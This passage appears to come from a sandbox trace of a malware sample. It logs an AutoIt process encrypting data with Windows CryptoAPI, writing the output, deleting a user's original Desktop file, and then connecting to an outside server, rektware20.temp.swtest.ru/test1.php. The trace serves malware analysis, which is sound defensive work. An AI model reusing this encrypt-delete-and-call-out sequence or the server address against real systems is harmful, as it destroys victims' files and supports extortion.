wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.696] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0079.697] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.697] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.697] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0079.697] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.697] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0079.697] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.697] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.697] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.697] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0079.697] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0079.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0079.697] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0079.697] CryptGetKeyParam (in: hKey=0x164c770, dwParam=0x7, pbData=0x1629450, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629450*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0079.697] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.697] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0079.697] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.697] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.697] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.697] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.697] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.698] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.698] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0079.698] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.698] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.698] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0079.698] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.698] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.698] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0079.698] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.698] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.698] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.698] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.698] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.698] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.698] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.698] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.698] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.698] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0079.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621720, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0079.699] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0079.699] CryptEncrypt (in: hKey=0x164c770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x2621, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x2630) returned 1 [0079.699] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.699] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.699] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.699] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.699] CharLowerBuffW (in: lpsz="byte[9777]", cchLength=0xa | out: lpsz="byte[9777]") returned 0xa [0079.699] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.699] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.699] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.699] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0079.699] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0079.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621978, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0079.699] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0079.699] CryptEncrypt (in: hKey=0x164c770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17c6070*, pdwDataLen=0x130e618*=0x2621, dwBufLen=0x2630 | out: pbData=0x17c6070*, pdwDataLen=0x130e618*=0x2630) returned 1 [0079.700] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.700] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.700] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.700] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.700] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.700] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.700] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0079.700] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.700] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0079.700] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.700] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.700] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.700] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.700] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0079.700] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.700] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.700] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.700] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.700] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.700] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.700] WriteFile (in: hFile=0x3d8, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0x2630, lpOverlapped=0x0) returned 1 [0079.703] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.703] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.703] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0079.703] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.703] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.703] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0079.703] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0079.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621210, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0079.703] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0079.703] CryptDestroyKey (hKey=0x164c770) returned 1 [0079.703] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.703] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.703] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0079.703] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.704] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0079.704] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0079.704] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0079.704] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.704] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.704] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0079.704] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.704] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0079.704] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.704] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0079.704] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.704] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0079.704] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.704] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0079.704] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.704] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.704] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.704] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.704] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0079.704] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.704] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.704] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0079.704] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0079.704] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0079.704] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0079.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0079.705] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0079.705] CryptReleaseContext (hProv=0x1631f68, dwFlags=0x0) returned 1 [0079.705] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.705] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.705] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0079.705] FreeLibrary (hLibModule=0x74c60000) returned 1 [0079.705] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.705] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.705] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.705] CloseHandle (hObject=0x3c8) returned 1 [0079.705] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.705] CloseHandle (hObject=0x3d8) returned 1 [0079.707] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.707] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0079.708] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", lpFilePart=0x0) returned 0x32 [0079.708] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\9qzv trooam.flv")) returned 0x20 [0079.708] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c9f0 [0079.708] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\9qZV TROoaM.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\9qzv trooam.flv")) returned 1 [0079.709] FindNextFileW (in: hFindFile=0x164c9f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0079.710] FindClose (in: hFindFile=0x164c9f0 | out: hFindFile=0x164c9f0) returned 1 [0079.710] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0079.710] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.710] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.710] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.710] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\AC2PjibK1Jf.pdf", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0079.710] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0079.710] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.710] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0079.710] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0079.710] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0079.710] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0079.710] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ec8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620ec8, lpdwBufferLength=0x130ef8c) returned 1 [0079.710] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0079.710] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0079.711] HttpSendRequestW (in: hRequest=0xcc000c, 